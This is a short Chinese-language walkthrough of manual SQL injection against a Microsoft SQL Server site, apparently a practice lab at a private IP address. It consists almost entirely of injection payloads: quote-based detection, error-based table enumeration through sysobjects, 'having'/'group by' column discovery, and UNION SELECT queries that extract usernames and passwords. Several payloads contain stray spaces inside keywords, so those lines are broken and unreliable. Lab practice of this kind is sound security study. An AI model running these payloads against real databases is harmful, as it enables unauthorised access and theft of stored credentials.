MSSQL⼿⼯注⼊。

（1）.在第⼀关使⽤单双引号判断是否存在注⼊，根据报错的回显可知数据类型为字符型

http://192.168.0.141/less-1.asp?id=1

http://192.168.0.141/less-1.asp?id=1'

http://192.168.0.141/less-1.asp?id=1' --

(2)查询数据库信息，user回显的dbo表示是最⾼权限，如果是⽤户的名字表示是普通权限

union select user,null,null user:查询⽤户

db_name():查询数据库名

@@version:查询版本信息

(3)通过以下语句来猜解有哪些表...从⽽获取⽬标站点的表信息...

'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id) order by id desc)=1--

xtype=char(85) //xtype=字符的ASCII值

#查看不存在表名，返回其他表信息

第⼆张表：-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users')-- //emails

第三张表：-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails')-- //uagents

第四张表：-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails' and name !='uagents')-- //referers

第五张表：-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails' and name !='uagents' and name !='referer s')-- //返回结果为空，说明不知道第五张表

(4)通过以下语句爆出表下的所有字段信息..

#payload

'having 1=1-- 'group by 字段名1 having 1=1--

'group by 字段名1，字段名2 having 1=1--

#字段名

id,username,password

(5)爆字段值.

#查询字段数据

1'order by 3-- //回显正常

1'order by 4-- //回信错误

#回显存在内容的字段

-1'union select 1,2,3 from users--

#查询字段内容

-1' union all select 1,(select top 1 username from users),'3'--

-1' union all select 1,2,(select top 1 password from users)--